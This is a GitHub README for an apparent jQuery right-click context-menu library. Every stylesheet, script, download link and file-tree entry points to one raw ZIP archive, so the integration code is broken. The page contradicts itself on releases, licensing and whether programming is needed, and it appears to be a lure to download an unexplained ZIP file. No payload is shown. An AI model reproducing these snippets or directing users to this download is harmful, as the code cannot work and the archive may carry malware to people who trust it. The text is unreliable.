Skip to content

πŸ–±οΈ Create customizable context menus for your web applications with this lightweight jQuery library, enhancing user interaction with simple right-click options.

License

Unknown and 3 other licenses found

Licenses found

Unknown
LICENSE.md
Apache-2.0
LICENSE_APACHE_2.md
BSD-3-Clause
LICENSE_BSD_3C.md
LGPL-3.0
LICENSE_GNU_LGPL_3.md
Notifications You must be signed in to change notification settings

mounika1404/jquery-context-menu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

πŸŽ‰ jquery-context-menu - Simple Right-Click Menu for Everyone

πŸš€ Getting Started

Welcome to the jquery-context-menu project! This lightweight JavaScript library helps you create user-defined context menus that appear when you right-click. You can easily customize the menus to suit your needs.

πŸ“₯ Download Now

Download jquery-context-menu

πŸ“‹ Features

  • Create customized right-click menus.
  • Lightweight design for fast loading.
  • Easy integration with any HTML page.
  • Supports submenus for more options.
  • User-friendlyβ€”no programming knowledge needed.

βš™οΈ System Requirements

To use jquery-context-menu, your system should meet the following requirements:

  • A modern web browser (Chrome, Firefox, Safari, Edge).
  • An HTML page where you want to implement the context menu.
  • Basic understanding of how to include JavaScript libraries in your HTML.

πŸ” How to Use

  1. Download & Install
    Visit this page to download: jquery-context-menu Releases. Choose the latest release, and download the ZIP file.

  2. Extract Files
    Open the ZIP file and extract its contents to a folder on your computer.

  3. Include in Your Project
    To include jquery-context-menu in your project, add the following lines to your HTML file before the closing </body> tag:

    <link rel="stylesheet" href="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip">
    <script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
    <script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
  4. Create a Context Menu
    Add the following JavaScript code to define your context menu:

    $.contextMenu({
        selector: '#your-selector',
        items: {
            "edit": {name: "Edit", icon: "edit"},
            "cut": {name: "Cut", icon: "cut"},
            "copy": {name: "Copy", icon: "copy"},
            "paste": {name: "Paste", icon: "paste"},
            "sep1": "---------",
            "quit": {name: "Quit", icon: "quit"}
        }
    });

    Replace #your-selector with the actual selector for your HTML element.

  5. Test Your Menu
    Open your HTML file in a web browser. Right-click on the defined element to see your custom context menu in action.

🌟 Example

Here’s a basic example of how to implement a right-click menu:

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip">
    <script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
    <script src="https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip"></script>
</head>
<body>
    <div id="myElement">Right-click me!</div>

    <script>
        $.contextMenu({
            selector: '#myElement',
            items: {
                "edit": {name: "Edit", icon: "edit"},
                "cut": {name: "Cut", icon: "cut"},
                "copy": {name: "Copy", icon: "copy"},
                "paste": {name: "Paste", icon: "paste"},
                "sep1": "---------",
                "quit": {name: "Quit", icon: "quit"}
            }
        });
    </script>
</body>
</html>

You can customize the menu items as needed.

πŸ“‚ File Structure

After downloading, you will see the following files in the extracted folder:

jquery-context-menu/
β”œβ”€β”€ https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip
β”œβ”€β”€ https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip
└── https://raw.githubusercontent.com/mounika1404/jquery-context-menu/main/js/jquery-context-menu-3.8.zip

Place these files appropriately in your project.

πŸ› οΈ Troubleshooting

  • Menu Not Appearing: Make sure you have included the required scripts in the correct order.
  • Browser Compatibility: Check if you are using a modern web browser.
  • JavaScript Errors: Open the console in your browser (F12) and check for error messages.

🀝 Contributions

We welcome contributions! If you'd like to suggest improvements or report bugs, feel free to create an issue or submit a pull request.

πŸ“„ License

jquery-context-menu is licensed under the MIT License. You are free to use, modify, and distribute it as per the terms.

🌐 Find Us Online

For more information, examples, and updates, visit our full documentation on GitHub.

Remember, you can always download the latest version of jquery-context-menu here: jquery-context-menu Releases. Enjoy building your custom context menus!

About

πŸ–±οΈ Create customizable context menus for your web applications with this lightweight jQuery library, enhancing user interaction with simple right-click options.

Topics

Resources

License

Unknown and 3 other licenses found

Licenses found

Unknown
LICENSE.md
Apache-2.0
LICENSE_APACHE_2.md
BSD-3-Clause
LICENSE_BSD_3C.md
LGPL-3.0
LICENSE_GNU_LGPL_3.md

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •